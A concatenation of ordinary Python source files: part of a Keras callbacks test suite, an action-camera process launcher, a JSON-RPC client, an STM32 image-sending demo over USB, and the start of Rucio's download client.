keras.backend.epsilon() def test_ReduceLROnPlateau(self): with self.cached_session(): np.random.seed(1337) (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = keras.utils.to_categorical(y_test) y_train = keras.utils.to_categorical(y_train) def make_model(): random_seed.set_random_seed(1234) np.random.seed(1337) model = testing_utils.get_small_sequential_mlp( num_hidden=NUM_HIDDEN, num_classes=NUM_CLASSES, input_dim=INPUT_DIM) model.compile( loss='categorical_crossentropy', optimizer=keras.optimizers.SGD(lr=0.1)) return model model = make_model() # This should reduce the LR after the first epoch (due to high epsilon). cbks = [ keras.callbacks.ReduceLROnPlateau( monitor='val_loss', factor=0.1, min_delta=10, patience=1, cooldown=5) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=5, verbose=0) self.assertAllClose( float(keras.backend.get_value(model.optimizer.lr)), 0.01, atol=1e-4) model = make_model() cbks = [ keras.callbacks.ReduceLROnPlateau( monitor='val_loss', factor=0.1, min_delta=0, patience=1, cooldown=5) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=5, verbose=2) self.assertAllClose( float(keras.backend.get_value(model.optimizer.lr)), 0.1, atol=1e-4) def test_ReduceLROnPlateau_patience(self): class DummyOptimizer(object): def __init__(self): self.lr = keras.backend.variable(1.0) class DummyModel(object): def __init__(self): self.optimizer = DummyOptimizer() reduce_on_plateau = keras.callbacks.ReduceLROnPlateau( monitor='val_loss', patience=2) reduce_on_plateau.model = DummyModel() losses = [0.0860, 0.1096, 0.1040] lrs = [] for epoch in range(len(losses)): reduce_on_plateau.on_epoch_end(epoch, logs={'val_loss': losses[epoch]}) lrs.append(keras.backend.get_value(reduce_on_plateau.model.optimizer.lr)) # The learning rates should be 1.0 except the last one for lr in lrs[:-1]: self.assertEqual(lr, 1.0) self.assertLess(lrs[-1], 1.0) def test_ReduceLROnPlateau_backwards_compatibility(self): with test.mock.patch.object(logging, 'warning') as mock_log: reduce_on_plateau = keras.callbacks.ReduceLROnPlateau(epsilon=1e-13) self.assertRegexpMatches( str(mock_log.call_args), '`epsilon` argument is deprecated') self.assertFalse(hasattr(reduce_on_plateau, 'epsilon')) self.assertTrue(hasattr(reduce_on_plateau, 'min_delta')) self.assertEqual(reduce_on_plateau.min_delta, 1e-13) def test_CSVLogger(self): with self.cached_session(): np.random.seed(1337) temp_dir = self.get_temp_dir() self.addCleanup(shutil.rmtree, temp_dir, ignore_errors=True) filepath = os.path.join(temp_dir, 'log.tsv') sep = '\t' (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = keras.utils.to_categorical(y_test) y_train = keras.utils.to_categorical(y_train) def make_model(): np.random.seed(1337) model = testing_utils.get_small_sequential_mlp( num_hidden=NUM_HIDDEN, num_classes=NUM_CLASSES, input_dim=INPUT_DIM) model.compile( loss='categorical_crossentropy', optimizer=keras.optimizers.SGD(lr=0.1), metrics=['accuracy']) return model # case 1, create new file with defined separator model = make_model() cbks = [keras.callbacks.CSVLogger(filepath, separator=sep)] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=1, verbose=0) assert os.path.exists(filepath) with open(filepath) as csvfile: dialect = csv.Sniffer().sniff(csvfile.read()) assert dialect.delimiter == sep del model del cbks # case 2, append data to existing file, skip header model = make_model() cbks = [keras.callbacks.CSVLogger(filepath, separator=sep, append=True)] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=1, verbose=0) # case 3, reuse of CSVLogger object model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=2, verbose=0) with open(filepath) as csvfile: list_lines = csvfile.readlines() for line in list_lines: assert line.count(sep) == 4 assert len(list_lines) == 5 output = ' '.join(list_lines) assert len(re.findall('epoch', output)) == 1 os.remove(filepath) def test_stop_training_csv(self): # Test that using the CSVLogger callback with the TerminateOnNaN callback # does not result in invalid CSVs. np.random.seed(1337) tmpdir = self.get_temp_dir() self.addCleanup(shutil.rmtree, tmpdir, ignore_errors=True) with self.cached_session(): fp = os.path.join(tmpdir, 'test.csv') (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = keras.utils.to_categorical(y_test) y_train = keras.utils.to_categorical(y_train) cbks = [keras.callbacks.TerminateOnNaN(), keras.callbacks.CSVLogger(fp)] model = keras.models.Sequential() for _ in range(5): model.add(keras.layers.Dense(2, input_dim=INPUT_DIM, activation='relu')) model.add(keras.layers.Dense(NUM_CLASSES, activation='linear')) model.compile(loss='mean_squared_error', optimizer='rmsprop') def data_generator(): i = 0 max_batch_index = len(x_train) // BATCH_SIZE tot = 0 while 1: if tot > 3 * len(x_train): yield (np.ones([BATCH_SIZE, INPUT_DIM]) * np.nan, np.ones([BATCH_SIZE, NUM_CLASSES]) * np.nan) else: yield (x_train[i * BATCH_SIZE: (i + 1) * BATCH_SIZE], y_train[i * BATCH_SIZE: (i + 1) * BATCH_SIZE]) i += 1 tot += 1 i %= max_batch_index history = model.fit_generator(data_generator(), len(x_train) // BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=20) loss = history.history['loss'] assert len(loss) > 1 assert loss[-1] == np.inf or np.isnan(loss[-1]) values = [] with open(fp) as f: for x in csv.reader(f): # In windows, due to \r\n line ends we may end up reading empty lines # after each line. Skip empty lines. if x: values.append(x) assert 'nan' in values[-1], 'The last epoch was not logged.' def test_TerminateOnNaN(self): with self.cached_session(): np.random.seed(1337) (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = keras.utils.to_categorical(y_test) y_train = keras.utils.to_categorical(y_train) cbks = [keras.callbacks.TerminateOnNaN()] model = keras.models.Sequential() initializer = keras.initializers.Constant(value=1e5) for _ in range(5): model.add( keras.layers.Dense( 2, input_dim=INPUT_DIM, activation='relu', kernel_initializer=initializer)) model.add(keras.layers.Dense(NUM_CLASSES)) model.compile(loss='mean_squared_error', optimizer='rmsprop') history = model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=20) loss = history.history['loss'] self.assertEqual(len(loss), 1) self.assertEqual(loss[0], np.inf) @test_util.run_deprecated_v1 def test_TensorBoard(self): np.random.seed(1337) temp_dir = self.get_temp_dir() self.addCleanup(shutil.rmtree, temp_dir, ignore_errors=True) (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = keras.utils.to_categorical(y_test) y_train = keras.utils.to_categorical(y_train) def data_generator(train): if train: max_batch_index = len(x_train) // BATCH_SIZE else: max_batch_index = len(x_test) // BATCH_SIZE i = 0 while 1: if train: yield (x_train[i * BATCH_SIZE:(i + 1) * BATCH_SIZE], y_train[i * BATCH_SIZE:(i + 1) * BATCH_SIZE]) else: yield (x_test[i * BATCH_SIZE:(i + 1) * BATCH_SIZE], y_test[i * BATCH_SIZE:(i + 1) * BATCH_SIZE]) i += 1 i %= max_batch_index # case: Sequential with self.cached_session(): model = keras.models.Sequential() model.add( keras.layers.Dense( NUM_HIDDEN, input_dim=INPUT_DIM, activation='relu')) # non_trainable_weights: moving_variance, moving_mean model.add(keras.layers.BatchNormalization()) model.add(keras.layers.Dense(NUM_CLASSES, activation='softmax')) model.compile( loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) tsb = keras.callbacks.TensorBoard( log_dir=temp_dir, histogram_freq=1, write_images=True, write_grads=True, batch_size=5) cbks = [tsb] # fit with validation data model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=3, verbose=0) # fit with validation data and accuracy model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=2, verbose=0) # fit generator with validation data model.fit_generator( data_generator(True), len(x_train), epochs=2, validation_data=(x_test, y_test), callbacks=cbks, verbose=0) # fit generator without validation data # histogram_freq must be zero tsb.histogram_freq = 0 model.fit_generator( data_generator(True), len(x_train), epochs=2, callbacks=cbks, verbose=0) # fit generator with validation data and accuracy tsb.histogram_freq = 1 model.fit_generator( data_generator(True), len(x_train), epochs=2, validation_data=(x_test, y_test), callbacks=cbks, verbose=0) # fit generator without validation data and accuracy tsb.histogram_freq = 0 model.fit_generator( data_generator(True), len(x_train), epochs=2, callbacks=cbks) assert os.path.exists(temp_dir) @test_util.run_deprecated_v1 def test_TensorBoard_multi_input_output(self): np.random.seed(1337) tmpdir = self.get_temp_dir() self.addCleanup(shutil.rmtree, tmpdir, ignore_errors=True) with self.cached_session(): filepath = os.path.join(tmpdir, 'logs') (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = keras.utils.to_categorical(y_test) y_train = keras.utils.to_categorical(y_train) def data_generator(train): if train: max_batch_index = len(x_train) // BATCH_SIZE else: max_batch_index = len(x_test) // BATCH_SIZE i = 0 while 1: if train: # simulate multi-input/output models yield ([x_train[i * BATCH_SIZE: (i + 1) * BATCH_SIZE]] * 2, [y_train[i * BATCH_SIZE: (i + 1) * BATCH_SIZE]] * 2) else: yield ([x_test[i * BATCH_SIZE: (i + 1) * BATCH_SIZE]] * 2, [y_test[i * BATCH_SIZE: (i + 1) * BATCH_SIZE]] * 2) i += 1 i %= max_batch_index inp1 = keras.Input((INPUT_DIM,)) inp2 = keras.Input((INPUT_DIM,)) inp = keras.layers.add([inp1, inp2]) hidden = keras.layers.Dense(2, activation='relu')(inp) hidden = keras.layers.Dropout(0.1)(hidden) output1 = keras.layers.Dense(NUM_CLASSES, activation='softmax')(hidden) output2 = keras.layers.Dense(NUM_CLASSES, activation='softmax')(hidden) model = keras.models.Model([inp1, inp2], [output1, output2]) model.compile(loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) # we must generate new callbacks for each test, as they aren't stateless def callbacks_factory(histogram_freq): return [keras.callbacks.TensorBoard(log_dir=filepath, histogram_freq=histogram_freq, write_images=True, write_grads=True, batch_size=5)] # fit without validation data model.fit([x_train] * 2, [y_train] * 2, batch_size=BATCH_SIZE, callbacks=callbacks_factory(histogram_freq=0), epochs=3) # fit with validation data and accuracy model.fit([x_train] * 2, [y_train] * 2, batch_size=BATCH_SIZE, validation_data=([x_test] * 2, [y_test] * 2), callbacks=callbacks_factory(histogram_freq=1), epochs=2) # fit generator without validation data model.fit_generator(data_generator(True), len(x_train), epochs=2, callbacks=callbacks_factory(histogram_freq=0)) # fit generator with validation data and accuracy model.fit_generator(data_generator(True), len(x_train), epochs=2, validation_data=([x_test] * 2, [y_test] * 2), callbacks=callbacks_factory(histogram_freq=1)) assert os.path.isdir(filepath) @test_util.run_deprecated_v1 def test_Tensorboard_histogram_summaries_in_test_function(self): class FileWriterStub(object): def __init__(self, logdir, graph=None): self.logdir = logdir self.graph = graph self.steps_seen = [] def add_summary(self, summary, global_step): summary_obj = summary_pb2.Summary() # ensure a valid Summary proto is being sent if isinstance(summary, bytes): summary_obj.ParseFromString(summary) else: assert isinstance(summary, summary_pb2.Summary) summary_obj = summary # keep track of steps seen for the merged_summary op, # which contains the histogram summaries if len(summary_obj.value) > 1: self.steps_seen.append(global_step) def flush(self): pass def close(self): pass def _init_writer(obj): obj.writer = FileWriterStub(obj.log_dir) np.random.seed(1337) tmpdir = self.get_temp_dir() self.addCleanup(shutil.rmtree, tmpdir, ignore_errors=True) (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = keras.utils.to_categorical(y_test) y_train = keras.utils.to_categorical(y_train) with self.cached_session(): model = keras.models.Sequential() model.add( keras.layers.Dense( NUM_HIDDEN, input_dim=INPUT_DIM, activation='relu')) # non_trainable_weights: moving_variance, moving_mean model.add(keras.layers.BatchNormalization()) model.add(keras.layers.Dense(NUM_CLASSES, activation='softmax')) model.compile( loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) keras.callbacks.TensorBoard._init_writer = _init_writer tsb = keras.callbacks.TensorBoard( log_dir=tmpdir, histogram_freq=1, write_images=True, write_grads=True, batch_size=5) cbks = [tsb] # fit with validation data model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=3, verbose=0) self.assertAllEqual(tsb.writer.steps_seen, [0, 1, 2, 3, 4, 5]) @test_util.run_deprecated_v1 def test_Tensorboard_histogram_summaries_with_generator(self): np.random.seed(1337) tmpdir = self.get_temp_dir() self.addCleanup(shutil.rmtree, tmpdir, ignore_errors=True) def generator(): x = np.random.randn(10, 100).astype(np.float32) y = np.random.randn(10, 10).astype(np.float32) while True: yield x, y with self.cached_session(): model = testing_utils.get_small_sequential_mlp( num_hidden=10, num_classes=10, input_dim=100) model.compile( loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) tsb = keras.callbacks.TensorBoard( log_dir=tmpdir, histogram_freq=1, write_images=True, write_grads=True, batch_size=5) cbks = [tsb] # fit with validation generator model.fit_generator( generator(), steps_per_epoch=2, epochs=2, validation_data=generator(), validation_steps=2, callbacks=cbks, verbose=0) with self.assertRaises(ValueError): # fit with validation generator but no # validation_steps model.fit_generator( generator(), steps_per_epoch=2, epochs=2, validation_data=generator(), callbacks=cbks, verbose=0) self.assertTrue(os.path.exists(tmpdir)) @unittest.skipIf( os.name == 'nt', 'use_multiprocessing=True does not work on windows properly.') def test_LambdaCallback(self): with self.cached_session(): np.random.seed(1337) (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = keras.utils.to_categorical(y_test) y_train = keras.utils.to_categorical(y_train) model = keras.models.Sequential() model.add( keras.layers.Dense( NUM_HIDDEN, input_dim=INPUT_DIM, activation='relu')) model.add(keras.layers.Dense(NUM_CLASSES, activation='softmax')) model.compile( loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) # Start an arbitrary process that should run during model # training and be terminated after training has completed. e = threading.Event() def target(): e.wait() t = threading.Thread(target=target) t.start() cleanup_callback = keras.callbacks.LambdaCallback( on_train_end=lambda logs: e.set()) cbks = [cleanup_callback] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=5, verbose=0) t.join() assert not t.is_alive() def test_TensorBoard_with_ReduceLROnPlateau(self): with self.cached_session(): temp_dir = self.get_temp_dir() self.addCleanup(shutil.rmtree, temp_dir, ignore_errors=True) (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = keras.utils.to_categorical(y_test) y_train = keras.utils.to_categorical(y_train) model = testing_utils.get_small_sequential_mlp( num_hidden=NUM_HIDDEN, num_classes=NUM_CLASSES, input_dim=INPUT_DIM) model.compile( loss='binary_crossentropy', optimizer='sgd', metrics=['accuracy']) cbks = [ keras.callbacks.ReduceLROnPlateau( monitor='val_loss', factor=0.5, patience=4, verbose=1), keras.callbacks.TensorBoard(log_dir=temp_dir) ] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=2, verbose=0) assert os.path.exists(temp_dir) @test_util.run_deprecated_v1 def test_Tensorboard_batch_logging(self): class FileWriterStub(object): def __init__(self, logdir, graph=None): self.logdir = logdir self.graph = graph self.batches_logged = [] self.summary_values = [] self.summary_tags = [] def add_summary(self, summary, step): self.summary_values.append(summary.value[0].simple_value) self.summary_tags.append(summary.value[0].tag) self.batches_logged.append(step) def flush(self): pass def close(self): pass temp_dir = self.get_temp_dir() self.addCleanup(shutil.rmtree, temp_dir, ignore_errors=True) tb_cbk = keras.callbacks.TensorBoard(temp_dir, update_freq='batch') tb_cbk.writer = FileWriterStub(temp_dir) for batch in range(5): tb_cbk.on_batch_end(batch, {'acc': batch}) self.assertEqual(tb_cbk.writer.batches_logged, [0, 1, 2, 3, 4]) self.assertEqual(tb_cbk.writer.summary_values, [0., 1., 2., 3., 4.]) self.assertEqual(tb_cbk.writer.summary_tags, ['batch_acc'] * 5) @test_util.run_deprecated_v1 def test_Tensorboard_epoch_and_batch_logging(self): class FileWriterStub(object): def __init__(self, logdir, graph=None): self.logdir = logdir self.graph = graph def add_summary(self, summary, step): if 'batch_' in summary.value[0].tag: self.batch_summary = (step, summary) elif 'epoch_' in summary.value[0].tag: self.epoch_summary = (step, summary) def flush(self): pass def close(self): pass temp_dir = self.get_temp_dir() self.addCleanup(shutil.rmtree, temp_dir, ignore_errors=True) tb_cbk = keras.callbacks.TensorBoard(temp_dir, update_freq='batch') tb_cbk.writer = FileWriterStub(temp_dir) tb_cbk.on_batch_end(0, {'acc': 5.0}) batch_step, batch_summary = tb_cbk.writer.batch_summary self.assertEqual(batch_step, 0) self.assertEqual(batch_summary.value[0].simple_value, 5.0) tb_cbk = keras.callbacks.TensorBoard(temp_dir, update_freq='epoch') tb_cbk.writer = FileWriterStub(temp_dir) tb_cbk.on_epoch_end(0, {'acc': 10.0}) epoch_step, epoch_summary = tb_cbk.writer.epoch_summary self.assertEqual(epoch_step, 0) self.assertEqual(epoch_summary.value[0].simple_value, 10.0) @test_util.run_in_graph_and_eager_modes def test_Tensorboard_eager(self): temp_dir = tempfile.mkdtemp(dir=self.get_temp_dir()) self.addCleanup(shutil.rmtree, temp_dir, ignore_errors=True) (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = keras.utils.to_categorical(y_test) y_train = keras.utils.to_categorical(y_train) model = testing_utils.get_small_sequential_mlp( num_hidden=NUM_HIDDEN, num_classes=NUM_CLASSES, input_dim=INPUT_DIM) model.compile( loss='binary_crossentropy', optimizer=adam.AdamOptimizer(0.01), metrics=['accuracy']) cbks = [keras.callbacks.TensorBoard(log_dir=temp_dir)] model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=2, verbose=0) self.assertTrue(os.path.exists(temp_dir)) @test_util.run_deprecated_v1 def test_TensorBoard_update_freq(self): class FileWriterStub(object): def __init__(self, logdir, graph=None): self.logdir = logdir self.graph = graph self.batch_summaries = [] self.epoch_summaries = [] def add_summary(self, summary, step): if 'batch_' in summary.value[0].tag: self.batch_summaries.append((step, summary)) elif 'epoch_' in summary.value[0].tag: self.epoch_summaries.append((step, summary)) def flush(self): pass def close(self): pass temp_dir = self.get_temp_dir() self.addCleanup(shutil.rmtree, temp_dir, ignore_errors=True) # Epoch mode tb_cbk = keras.callbacks.TensorBoard(temp_dir, update_freq='epoch') tb_cbk.writer = FileWriterStub(temp_dir) tb_cbk.on_batch_end(0, {'acc': 5.0, 'size': 1}) self.assertEqual(tb_cbk.writer.batch_summaries, []) tb_cbk.on_epoch_end(0, {'acc': 10.0, 'size': 1}) self.assertEqual(len(tb_cbk.writer.epoch_summaries), 1) # Batch mode tb_cbk = keras.callbacks.TensorBoard(temp_dir, update_freq='batch') tb_cbk.writer = FileWriterStub(temp_dir) tb_cbk.on_batch_end(0, {'acc': 5.0, 'size': 1}) self.assertEqual(len(tb_cbk.writer.batch_summaries), 1) tb_cbk.on_batch_end(0, {'acc': 5.0, 'size': 1}) self.assertEqual(len(tb_cbk.writer.batch_summaries), 2) self.assertFalse(tb_cbk.writer.epoch_summaries) # Integer mode tb_cbk = keras.callbacks.TensorBoard(temp_dir, update_freq=20) tb_cbk.writer = FileWriterStub(temp_dir) tb_cbk.on_batch_end(0, {'acc': 5.0, 'size': 10}) self.assertFalse(tb_cbk.writer.batch_summaries) tb_cbk.on_batch_end(0, {'acc': 5.0, 'size': 10}) self.assertEqual(len(tb_cbk.writer.batch_summaries), 1) tb_cbk.on_batch_end(0, {'acc': 5.0, 'size': 10}) self.assertEqual(len(tb_cbk.writer.batch_summaries), 1) tb_cbk.on_batch_end(0, {'acc': 5.0, 'size': 10}) self.assertEqual(len(tb_cbk.writer.batch_summaries), 2) tb_cbk.on_batch_end(0, {'acc': 10.0, 'size': 10}) self.assertEqual(len(tb_cbk.writer.batch_summaries), 2) self.assertFalse(tb_cbk.writer.epoch_summaries) def test_RemoteMonitorWithJsonPayload(self): if requests is None: self.skipTest('`requests` required to run this test') with self.cached_session(): (x_train, y_train), (x_test, y_test) = testing_utils.get_test_data( train_samples=TRAIN_SAMPLES, test_samples=TEST_SAMPLES, input_shape=(INPUT_DIM,), num_classes=NUM_CLASSES) y_test = keras.utils.np_utils.to_categorical(y_test) y_train = keras.utils.np_utils.to_categorical(y_train) model = keras.models.Sequential() model.add( keras.layers.Dense( NUM_HIDDEN, input_dim=INPUT_DIM, activation='relu')) model.add(keras.layers.Dense(NUM_CLASSES, activation='softmax')) model.compile( loss='categorical_crossentropy', optimizer='rmsprop', metrics=['accuracy']) cbks = [keras.callbacks.RemoteMonitor(send_as_json=True)] with test.mock.patch.object(requests, 'post'): model.fit( x_train, y_train, batch_size=BATCH_SIZE, validation_data=(x_test, y_test), callbacks=cbks, epochs=1) @test_util.run_deprecated_v1 def test_fit_generator_with_callback(self): class TestCallback(keras.callbacks.Callback): def set_model(self, model): # Check the model operations for the optimizer operations that # the _make_train_function adds under a named scope for the # optimizer. This ensurs the full model is populated before the # set_model callback is called. optimizer_name_scope = 'training/' + model.optimizer.__class__.__name__ graph_def = ops.get_default_graph().as_graph_def() for node in graph_def.node: if node.name.startswith(optimizer_name_scope): return raise RuntimeError('The optimizer operations are not present in the ' 'model graph when the Callback.set_model function ' 'is called') np.random.seed(1337) def generator(): x = np.random.randn(10, 100).astype(np.float32) y = np.random.randn(10, 10).astype(np.float32) while True: yield x, y with self.cached_session(): model = testing_utils.get_small_sequential_mlp( num_hidden=10, num_classes=10, input_dim=100) model.compile( loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) model.fit_generator( generator(), steps_per_epoch=2, epochs=1, validation_data=generator(), validation_steps=2, callbacks=[TestCallback()], verbose=0) if __name__ == '__main__': test.main()
actioncam.py
import os import sys import time from multiprocessing import Process, Queue, Lock from multiprocessing import Manager from local_ressources import Camera from local_ressources import Configuration from local_ressources import Helper from servicerunner import Servicerunner from webserver import WebServer l_lock = Lock() q_message = Queue() m_modus = '' name = 'actioncam' def config_path(): home = os.getenv('HOME') c_path = home + '/actioncam/config.json' if not os.path.exists(c_path): print('failed to find config file in ' + c_path) print('see in ../shell/setup for an example') sys.exit(1) return c_path def handle_message(msg): if msg.startswith('do:'): msg = msg[3:] if msg == 'shutdown': helper.state_save() log(msg) time.sleep(1.0) print('shutdown actioncam') return False if msg == 'start': log(msg) return True elif msg.startswith('camera_mode:'): new_modus = msg[12:] if new_modus in configuration.config["camera"]["modes"]: with l_lock: m_modus['camera'] = new_modus log('camera_mode ' + str(new_modus)) return True else: log(msg) return True def log(text): helper.log_add_text('actioncam', text) if __name__ == '__main__': configuration = Configuration(name=name, path=config_path()) config = configuration.config helper = Helper(config) log_location = config[name]['log_location'] debug = config['debug'] print('debug is ' + str(debug)) default_mode = {"actioncam": config['DEFAULT']['mode'], "camera": config['camera']['modes']['pause'], "idle": 0} running = True # start handle_message('do:start') try: with Manager() as manager: m_modus = manager.dict() m_video = manager.dict() helper.dict_copy(default_mode, m_modus) p2 = Process(target=Servicerunner, args=(l_lock, configuration, default_mode, helper, m_modus)) p3 = Process(target=WebServer, args=(l_lock, configuration, helper, q_message, m_modus, m_video)) p4 = Process(target=Camera, args=(l_lock, configuration, default_mode, helper, m_modus, m_video)) p2.daemon = True p3.daemon = True p4.daemon = True p2.start() p3.start() p4.start() # startup info to console helper.state_set_start() infos = helper.infos_self() print(name, 'running') for info in infos: print(info) print('webserver will listen at port ' + str(configuration.config['webserver']['server_port'])) print('PID Servicerunner', p2.pid) print('PID Webserver', p3.pid) print('PID Camera', p4.pid) # main loop while running: message = '' try: message = q_message.get() if debug: print("actioncam:message:" + message) if message != '': running = handle_message(message) if m_modus['actioncam'] == 'do:shutdown': log('shutdown') except Exception as e: log('error in Main loop ' + str(e)) # exit sys.exit() except KeyboardInterrupt: log('ending with keyboard interrupt') p2.terminate() p3.terminate() p4.terminate() sys.exit() except Exception as e: log('error in actioncam __main__ ' + str(e)) print('error in actioncam __main__ ' + str(e))
rpc_client.py
# Copyright 2017 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ------------------------------------------------------------------------------ import threading import time import requests class RpcClient: def __init__(self, url): self.url = url self.id = 1 self.result = None self.thread = None def wait_for_service(self): while True: try: requests.get(self.url) return except requests.ConnectionError: time.sleep(0.2) def call(self, method, params=None): request = {"jsonrpc": "2.0", "method": method, "id": self.id} if params: request["params"] = params self.id += 1 response = requests.post(self.url, json=request).json() try: return response['result'] except KeyError: return response def acall(self, method, params=None): def _acall(self): self.result = self.call(method, params) self.thread = threading.Thread(target=_acall, args=(self,)) self.thread.start() def get_result(self): self.thread.join() return self.result
image_injection_demo.py
################################################################################### # Copyright (c) 2020-2021 STMicroelectronics. # All rights reserved. # This software is licensed under terms that can be found in the LICENSE file in # the root directory of this software component. # If no LICENSE file comes with this software, it is provided AS-IS. ################################################################################### __author__ = "Romain LE DONGE" __copyright__ = "Copyright (c) 2021 STMicroelectronics" __license__ = """ Copyright (c) 2020-2021 STMicroelectronics. All rights reserved. This software is licensed under terms that can be found in the LICENSE file in the root directory of this software component. If no LICENSE file comes with this software, it is provided AS-IS. """ """! This example sends an image from Computer to an STM32, look at the ImageDisplay example running on STM32H747 DISCO Board to see this example working """ from ai_logging import AILoggingAPI from ai_logging.core.ai_logging_api_wrapper import AILoggingPayloadType import numpy as np import sys import threading import time from PIL import Image api = AILoggingAPI('usb', '0x0483:0x5743', read_endpoint=0x81, write_endpoint=0x01) # You can uncomment the code below to send a violet image to STM32 #shape = (180, 134, 3) #data = np.array([0xFF, 0x00, 0xFF] * shape[0] * shape[1], dtype=np.uint8) # Violet data image img = Image.open("st_logo.jpg") data = np.array(img.getdata(), dtype=np.uint8) shape = (img.size[0], img.size[1], 3) def reception_thread(): print("Starting reception thread", flush=True) for i in range(100): packet = api.wait_for_packet() print(packet['message'], flush=True) print("End of thread") t1 = threading.Thread(target=reception_thread) t1.daemon = True t1.start() start_time = time.time() for i in range(100): try: api._wrapper.send_data(data, AILoggingPayloadType.AI_UINT8, [shape[0], shape[1], shape[2]]) print("Image sent",flush=True) except KeyboardInterrupt: sys.exit() end_time = time.time() print("Finished: {}".format(end_time-start_time), flush=True)
downloadclient.py
# Copyright 2018 CERN for the benefit of the ATLAS collaboration. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # - Tomas Javurek <tomasjavurek09@gmail.com>, 2018 # - Vincent Garonne <vgaronne@gmail.com>, 2018 # - Joaquin Bogado <jbogado@linti.unlp.edu.ar>, 2018 # - Nicolo Magini <nicolo.magini@cern.ch>, 2018 # - Tobias Wegner <tobias.wegner@cern.ch>, 2018 import copy import logging import os import os.path import random import signal import time try: from Queue import Queue, Empty, deque except ImportError: from queue import Queue, Empty, deque from threading import Thread from xml.etree import ElementTree from rucio.client.client import Client from rucio.common.exception import (InputValidationError, NoFilesDownloaded, ServiceUnavailable, NotAllFilesDownloaded, RSENotFound, RucioException, SourceNotFound) from rucio.common.utils import adler32, md5, detect_client_location, generate_uuid, send_trace, sizefmt, execute from rucio.rse import rsemanager as rsemgr from rucio import version class DownloadClient: def __init__(self, client=None, logger=None, tracing=True, check_admin=False): """ Initialises the basic settings for an DownloadClient object :param client: Optional: rucio.client.client.Client object. If None, a new object will be created. :param logger: Optional: logging.Logger object to use for downloads. If None nothing will be logged. """ if not logger: logger = logging.getLogger('%s.null' % __name__) logger.disabled = True self.logger = logger self.tracing = tracing if not self.tracing: logger.debug('Tracing is turned off.') self.is_human_readable = True self.client = client if client else Client() self.client_location = detect_client_location() self.is_admin = False if check_admin: account_attributes = list(self.client.list_account_attributes(self.client.account)) for attr in account_attributes[0]: if attr['key'] == 'admin': self.is_admin = attr['value'] is True break if self.is_admin: logger.debug('Admin mode enabled') self.trace_tpl = {} self.trace_tpl['hostname'] = self.client_location['fqdn'] 